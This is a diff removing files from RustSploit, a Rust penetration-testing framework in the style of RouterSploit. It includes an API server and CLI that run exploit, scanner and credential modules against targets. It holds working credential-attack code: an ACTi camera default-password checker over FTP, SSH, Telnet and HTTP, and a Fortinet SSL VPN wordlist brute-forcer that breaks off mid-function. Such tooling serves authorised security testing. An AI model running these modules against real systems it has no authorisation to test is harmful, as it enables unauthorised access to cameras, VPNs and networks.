let _ = state.track_ip(&client_ip).await;
next.run(request).await
}
async fn health_check() -> Json<ApiResponse> {
Json(ApiResponse {
success: true,
message: "API is running".to_string(),
data: None,
})
}
async fn list_modules(State(_state): State<ApiState>) -> Json<ApiResponse> {
let modules = commands::discover_modules();
let mut exploits = Vec::new();
let mut scanners = Vec::new();
let mut creds = Vec::new();
for module in modules {
if module.starts_with("exploits/") {
exploits.push(module);
} else if module.starts_with("scanners/") {
scanners.push(module);
} else if module.starts_with("creds/") {
creds.push(module);
}
}
let data = ListModulesResponse {
exploits,
scanners,
creds,
};
Json(ApiResponse {
success: true,
message: "Modules retrieved successfully".to_string(),
data: Some(serde_json::to_value(data).unwrap()),
})
}
async fn run_module(
State(state): State<ApiState>,
Json(payload): Json<RunModuleRequest>,
) -> Result<Json<ApiResponse>, StatusCode> {
let module_name_raw = payload.module.as_str();
let target_raw = payload.target.as_str();
// Validate inputs
if !validate_module_name(module_name_raw) {
return Err(StatusCode::BAD_REQUEST);
}
if !validate_target(target_raw) {
return Err(StatusCode::BAD_REQUEST);
}
// Sanitize for logging only
let module_name = sanitize_for_log(module_name_raw);
let target_name = sanitize_for_log(target_raw);
state
.log_message(&format!(
"API request: run module '{}' on target '{}'",
module_name, target_name
))
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
// Run the module in a separate OS thread since some modules aren't Send
let module = payload.module.clone();
let target = payload.target.clone();
let state_clone = state.clone();
// Use std::thread to run in a separate OS thread with its own runtime
std::thread::spawn(move || {
// Create a new runtime for this thread since modules need async runtime
let rt = tokio::runtime::Runtime::new().unwrap();
rt.block_on(async {
if let Err(e) = commands::run_module(&module, &target).await {
let _ = state_clone
.log_message(&format!("Error running module: {}", sanitize_for_log(&e.to_string())))
.await;
} else {
let _ = state_clone
.log_message(&format!(
"Successfully completed module '{}' on target '{}'",
sanitize_for_log(&module), sanitize_for_log(&target)
))
.await;
}
});
});
Ok(Json(ApiResponse {
success: true,
message: format!("Module '{}' execution started for target '{}'", module_name, target_name),
data: None,
}))
}
async fn get_status(State(state): State<ApiState>) -> Json<ApiResponse> {
let key_guard = state.current_key.read().await;
let tracker_guard = state.ip_tracker.read().await;
// Collect all tracked IPs with their details
let tracked_ips: Vec<&IpTracker> = tracker_guard.values().collect();
let ip_details: Vec<serde_json::Value> = tracked_ips
.iter()
.map(|tracker| {
serde_json::json!({
"ip": tracker.ip,
"first_seen": tracker.first_seen.to_rfc3339(),
"last_seen": tracker.last_seen.to_rfc3339(),
"request_count": tracker.request_count,
})
})
.collect();
let status_data = serde_json::json!({
"harden_enabled": state.harden_enabled,
"ip_limit": state.ip_limit,
"unique_ips": tracker_guard.len(),
"key_created_at": key_guard.created_at.to_rfc3339(),
"log_file": state.log_file.to_string_lossy(),
"tracked_ips": ip_details,
});
Json(ApiResponse {
success: true,
message: "Status retrieved successfully".to_string(),
data: Some(status_data),
})
}
async fn rotate_key_endpoint(State(state): State<ApiState>) -> Result<Json<ApiResponse>, StatusCode> {
let new_key = state
.rotate_key()
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
Ok(Json(ApiResponse {
success: true,
message: "API key rotated successfully".to_string(),
data: Some(serde_json::json!({ "new_key": new_key })),
}))
}
async fn get_tracked_ips(State(state): State<ApiState>) -> Json<ApiResponse> {
let tracker_guard = state.ip_tracker.read().await;
let failures_guard = state.auth_failures.read().await;
// Use all fields from IpTracker
let ips: Vec<serde_json::Value> = tracker_guard
.values()
.map(|tracker| {
// Get auth failure info for this IP if it exists
let auth_info = failures_guard.get(&tracker.ip).map(|fail| {
serde_json::json!({
"failed_attempts": fail.failed_attempts,
"first_failure": fail.first_failure.to_rfc3339(),
"blocked_until": fail.blocked_until.map(|dt| dt.to_rfc3339()),
"is_blocked": fail.blocked_until.map(|dt| Utc::now() < dt).unwrap_or(false),
})
});
serde_json::json!({
"ip": tracker.ip,
"first_seen": tracker.first_seen.to_rfc3339(),
"last_seen": tracker.last_seen.to_rfc3339(),
"request_count": tracker.request_count,
"duration_seconds": (tracker.last_seen - tracker.first_seen).num_seconds(),
"auth_failures": auth_info,
})
})
.collect();
Json(ApiResponse {
success: true,
message: format!("Retrieved {} tracked IP addresses", ips.len()),
data: Some(serde_json::json!({ "ips": ips })),
})
}
async fn get_auth_failures(State(state): State<ApiState>) -> Json<ApiResponse> {
let failures_guard = state.auth_failures.read().await;
let now = Utc::now();
// Use all fields from AuthFailureTracker
let failures: Vec<serde_json::Value> = failures_guard
.values()
.map(|tracker| {
let is_blocked = tracker.blocked_until
.map(|blocked_until| now < blocked_until)
.unwrap_or(false);
let remaining_seconds = if is_blocked {
tracker.blocked_until
.map(|blocked_until| (blocked_until - now).num_seconds())
.unwrap_or(0)
} else {
0
};
serde_json::json!({
"ip": tracker.ip,
"failed_attempts": tracker.failed_attempts,
"first_failure": tracker.first_failure.to_rfc3339(),
"blocked_until": tracker.blocked_until.map(|dt| dt.to_rfc3339()),
"is_blocked": is_blocked,
"remaining_block_seconds": remaining_seconds,
"duration_since_first": (now - tracker.first_failure).num_seconds(),
})
})
.collect();
Json(ApiResponse {
success: true,
message: format!("Retrieved {} IPs with authentication failures", failures.len()),
data: Some(serde_json::json!({ "auth_failures": failures })),
})
}
pub async fn start_api_server(
bind_address: &str,
api_key: String,
harden: bool,
ip_limit: u32,
) -> Result<()> {
let state = ApiState::new(api_key.clone(), harden, ip_limit);
// Log initial startup
state
.log_message(&format!(
"Starting API server on {} with hardening: {}, IP limit: {}",
bind_address, harden, ip_limit
))
.await?;
println!("🚀 Starting RustSploit API server...");
println!("📍 Binding to: {}", bind_address);
println!("🔑 Initial API key: {}", api_key);
println!("🛡️ Hardening mode: {}", if harden { "ENABLED" } else { "DISABLED" });
if harden {
println!("📊 IP limit: {}", ip_limit);
}
println!("📝 Log file: {}", state.log_file.display());
// Create routes that require authentication
let protected_routes = Router::new()
.route("/api/modules", get(list_modules))
.route("/api/run", post(run_module))
.route("/api/status", get(get_status))
.route("/api/rotate-key", post(rotate_key_endpoint))
.route("/api/ips", get(get_tracked_ips))
.route("/api/auth-failures", get(get_auth_failures))
.layer(axum::middleware::from_fn_with_state(
state.clone(),
auth_middleware,
));
let app = Router::new()
.route("/health", get(health_check))
.merge(protected_routes)
.layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()))
.with_state(state);
let listener = tokio::net::TcpListener::bind(bind_address)
.await
.context(format!("Failed to bind to {}", bind_address))?;
println!("✅ API server is running! Use the API key in Authorization header.");
println!("📖 Example: curl -H 'Authorization: Bearer {}' http://{}/api/modules", api_key, bind_address);
axum::serve(
listener,
app.into_make_service_with_connect_info::<SocketAddr>(),
)
.await
.context("API server error")?;
Ok(())
}
-42
View File
@@ -1,42 +0,0 @@
use clap::{ArgGroup, Parser};
/// Simple RouterSploit-like CLI in Rust
#[derive(Parser, Debug)]
#[command(author, version, about, long_about = None)]
#[clap(group(
ArgGroup::new("mode")
.required(false)
.args(&["command", "api"])
))]
pub struct Cli {
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
pub command: Option<String>,
/// Target IP or hostname
#[arg(short, long)]
pub target: Option<String>,
/// Module name to use
#[arg(short, long)]
pub module: Option<String>,
/// Launch API server mode
#[arg(long)]
pub api: bool,
/// API key for authentication (required when --api is used)
#[arg(long, requires = "api")]
pub api_key: Option<String>,
/// Enable hardening mode (auto-rotate API key on suspicious activity)
#[arg(long, requires = "api")]
pub harden: bool,
/// Network interface to bind API server to (default: 0.0.0.0)
#[arg(long, requires = "api", default_value = "0.0.0.0")]
pub interface: Option<String>,
/// IP limit for hardening mode (default: 10 unique IPs)
#[arg(long, requires = "harden", default_value = "10")]
pub ip_limit: Option<u32>,
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
// Keep dispatch file naming consistent with build.rs
let dest_path = Path::new(&out_dir).join("creds_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let creds_root = Path::new("src/modules/creds");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
// Generate dispatch function
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found cred module: {}", mod_path);
}
}
}
}
Ok(())
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let exploits_root = Path::new("src/modules/exploits");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found exploit: {}", mod_path);
}
}
}
}
Ok(())
}
-101
View File
@@ -1,101 +0,0 @@
pub mod exploit;
pub mod scanner;
pub mod creds;
use anyhow::Result;
use crate::cli::Cli;
use walkdir::WalkDir;
use crate::utils::normalize_target;
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let raw = cli_args.target.clone().unwrap_or_default();
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
let module = cli_args.module.clone().unwrap_or_default();
match command {
"exploit" => {
let trimmed = module.trim_start_matches("exploits/");
exploit::run_exploit(trimmed, &target).await?;
},
"scanner" => {
let trimmed = module.trim_start_matches("scanners/");
scanner::run_scan(trimmed, &target).await?;
},
"creds" => {
let trimmed = module.trim_start_matches("creds/");
creds::run_cred_check(trimmed, &target).await?;
},
_ => {
eprintln!("Unknown command '{}'", command);
}
}
Ok(())
}
/// Interactive shell: handles `run` with raw target string
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
let available = discover_modules();
let full_match = available.iter().find(|m| m == &module_path);
let short_match = available.iter().find(|m| {
m.rsplit_once('/')
.map(|(_, short)| short == module_path)
.unwrap_or(false)
});
let resolved = if let Some(m) = full_match {
m
} else if let Some(m) = short_match {
m
} else {
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
for m in available {
println!(" {}", m);
}
return Ok(());
};
let target = normalize_target(raw_target)?;
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
let module_name = parts.next().unwrap_or("");
match category {
"exploits" => exploit::run_exploit(module_name, &target).await?,
"scanners" => scanner::run_scan(module_name, &target).await?,
"creds" => creds::run_cred_check(module_name, &target).await?,
_ => eprintln!("❌ Category '{}' is not supported.", category),
}
Ok(())
}
/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
pub fn discover_modules() -> Vec<String> {
let mut modules = Vec::new();
let categories = ["exploits", "scanners", "creds"];
for category in &categories {
let base = format!("src/modules/{}", category);
for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
let p = entry.path();
if p.is_file()
&& p.extension().map_or(false, |e| e == "rs")
&& p.file_name().map_or(true, |n| n != "mod.rs")
{
if let Ok(rel) = p.strip_prefix("src/modules") {
let module_path = rel
.with_extension("")
.to_string_lossy()
.replace("\\", "/");
modules.push(module_path);
}
}
}
}
modules
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Write};
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let scanners_root = Path::new("src/modules/scanners");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found scanner: {}", mod_path);
}
}
}
}
Ok(())
}
-48
View File
@@ -1,48 +0,0 @@
use anyhow::{Context, Result};
use clap::Parser;
mod cli;
mod shell;
mod commands;
mod modules;
mod utils;
mod api;
#[tokio::main]
async fn main() -> Result<()> {
// Parse command-line arguments
let cli_args = cli::Cli::parse();
// Check if API mode is requested
if cli_args.api {
let api_key = cli_args
.api_key
.context("--api-key is required when using --api mode")?;
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
// If interface already contains a port (has ':'), use it as-is, otherwise add default port
let bind_address = if interface.contains(':') {
interface
} else {
format!("{}:8080", interface)
};
let harden = cli_args.harden;
let ip_limit = cli_args.ip_limit.unwrap_or(10);
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
return Ok(());
}
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
commands::handle_command(cmd, &cli_args).await?;
}
// Otherwise, launch the interactive shell
else {
shell::interactive_shell().await?;
}
Ok(())
}
@@ -1,219 +0,0 @@
use anyhow::{Context, Result};
use async_ftp::FtpStream;
use reqwest::Client;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
#[allow(dead_code)]
/// Supported Acti services
pub enum ServiceType {
Ftp,
Ssh,
Telnet,
Http,
}
/// Common config
#[derive(Clone)]
pub struct Config {
pub target: String,
pub port: u16,
pub credentials: Vec<(&'static str, &'static str)>,
pub stop_on_success: bool,
pub verbosity: bool,
}
/// Helper to normalize IPv4, IPv6 (with any amount of brackets)
fn normalize_target(target: &str, port: u16) -> String {
let cleaned = target.trim_matches(|c| c == '[' || c == ']');
if cleaned.contains(':') && !cleaned.contains('.') {
format!("[{}]:{}", cleaned, port) // IPv6
} else {
format!("{}:{}", cleaned, port) // IPv4 or hostname
}
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<()> {
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying FTP: {}:{}", username, password);
}
let address = normalize_target(&config.target, config.port);
match FtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
println!("[+] FTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
let _ = ftp.quit().await;
}
Err(_) => continue,
}
}
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// SSH check (blocking, so we use spawn_blocking)
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying SSH: {}:{}", username, password);
}
let address = normalize_target(&config.target, config.port);
if let Ok(stream) = TcpStream::connect(address) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
session.handshake().context("SSH handshake failed")?;
if session.userauth_password(username, password).is_ok() && session.authenticated() {
println!("[+] SSH credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
}
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// Telnet check (blocking)
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying Telnet: {}:{}", username, password);
}
let address = normalize_target(&config.target, config.port);
let parts: Vec<&str> = address.rsplitn(2, ':').collect();
if parts.len() != 2 {
continue;
}
let host = parts[1];
let port: u16 = parts[0].parse().unwrap_or(23);
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
// Give device time to respond
std::thread::sleep(Duration::from_millis(500));
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
let response = String::from_utf8_lossy(&buffer);
if !response.contains("incorrect") && !response.contains("failed") {
println!("[+] Telnet credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
}
}
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// HTTP Web Login check (async)
pub async fn check_http_form(config: &Config) -> Result<()> {
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying HTTP: {}:{}", username, password);
}
let data = [
("LOGIN_ACCOUNT", *username),
("LOGIN_PASSWORD", *password),
("LANGUAGE", "0"),
("btnSubmit", "Login"),
];
let res = client
.post(&url)
.form(&data)
.send()
.await
.context("[!] Failed to send HTTP form request")?;
let body = res.text().await.unwrap_or_default();
if !body.contains(">Password<") {
println!("[+] HTTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// Entrypoint for module - parallel checks
pub async fn run(target: &str) -> Result<()> {
let creds = vec![
("admin", "12345"),
("admin", "123456"),
("Admin", "12345"),
("Admin", "123456"),
];
let base_config = Config {
target: target.to_string(),
port: 0,
credentials: creds,
stop_on_success: true,
verbosity: true,
};
let ftp_conf = Config { port: 21, ..base_config.clone() };
let ssh_conf = Config { port: 22, ..base_config.clone() };
let telnet_conf = Config { port: 23, ..base_config.clone() };
let http_conf = Config { port: 80, ..base_config.clone() };
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
check_ftp(&ftp_conf),
async {
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
},
async {
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
},
check_http_form(&http_conf),
);
ftp_res?;
ssh_res?;
telnet_res?;
http_res?;
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod acti_camera_default;
-1
View File
@@ -1 +0,0 @@
pub mod acti;
@@ -1,41 +0,0 @@
use anyhow::{Result, anyhow};
use std::process::Command;
/// Module entry point for raising ulimit
pub async fn run(_target: &str) -> Result<()> {
raise_ulimit().await
}
/// Raise ulimit to 65535
async fn raise_ulimit() -> Result<()> {
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
// Try to set limit using bash
let output = Command::new("bash")
.arg("-c")
.arg("ulimit -n 65535")
.output()
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
if !output.status.success() {
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
} else {
println!("[+] Successfully ran ulimit -n 65535.");
}
// Check current limit
let check_output = Command::new("bash")
.arg("-c")
.arg("ulimit -n")
.output()
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
if check_output.status.success() {
let limit = String::from_utf8_lossy(&check_output.stdout);
println!("[+] Current open file limit: {}", limit.trim());
} else {
println!("[-] Warning: Could not verify new ulimit.");
}
Ok(())
}
@@ -1,518 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use reqwest::{ClientBuilder, redirect::Policy};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
};
use tokio::{
sync::{Mutex, Semaphore},
time::{sleep, Duration, timeout},
};
use regex::Regex;
pub async fn run(target: &str) -> Result<()> {
println!("=== Fortinet SSL VPN Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("Fortinet VPN Port", "443")?;
match input.trim().parse::<u16>() {
Ok(p) if p > 0 => break p,
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
}
};
let usernames_file_path = loop {
let input = prompt_required("Username wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let passwords_file_path = loop {
let input = prompt_required("Password wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.trim().parse::<usize>() {
Ok(n) if n > 0 && n <= 10000 => break n,
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
}
};
let timeout_secs: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "10")?;
match input.trim().parse::<u64>() {
Ok(n) if n > 0 && n <= 300 => break n,
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file name", "fortinet_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let trusted_cert = prompt_optional("Trusted certificate SHA256 (optional, for certificate pinning)")?;
let realm = prompt_optional("Authentication realm (optional)")?;
let base_url = build_fortinet_url(target, port)?;
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
println!("\n[*] Starting brute-force on {}", base_url);
println!("[*] Timeout: {} seconds", timeout_secs);
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", users.len());
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} passwords", passwords.len());
let semaphore = Arc::new(Semaphore::new(concurrency));
let timeout_duration = Duration::from_secs(timeout_secs);
// Generate all credential pairs based on mode
let credential_pairs = if combo_mode {
let mut pairs = Vec::new();
for user in &users {
for pass in &passwords {
pairs.push((user.clone(), pass.clone()));
}
}
pairs
} else {
// Cycle through users for each password
passwords.iter().enumerate()
.map(|(i, pass)| {
let user = users[i % users.len()].clone();
(user, pass.clone())
})
.collect()
};
println!("[*] Testing {} credential combinations", credential_pairs.len());
let mut tasks = FuturesUnordered::new();
for (user, pass) in credential_pairs {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let base_url_clone = base_url.clone();
let realm_clone = realm.clone();
let trusted_cert_clone = trusted_cert.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let _permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
match try_fortinet_login(
&base_url_clone,
&user,
&pass,
&realm_clone,
&trusted_cert_clone,
timeout_duration
).await {
Ok(true) => {
println!("[+] {} -> {}:{}", base_url_clone, user, pass);
let mut found = found_credentials_clone.lock().await;
found.push((base_url_clone.clone(), user.clone(), pass.clone()));
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", base_url_clone, user, pass));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", base_url_clone, e));
}
}
sleep(Duration::from_millis(100)).await;
}));
}
// Wait for all tasks to complete
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials found:");
for (url, user, pass) in creds.iter() {
println!(" {} -> {}:{}", url, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
match File::create(&filename) {
Ok(mut file) => {
for (url, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", url, user, pass).is_err() {
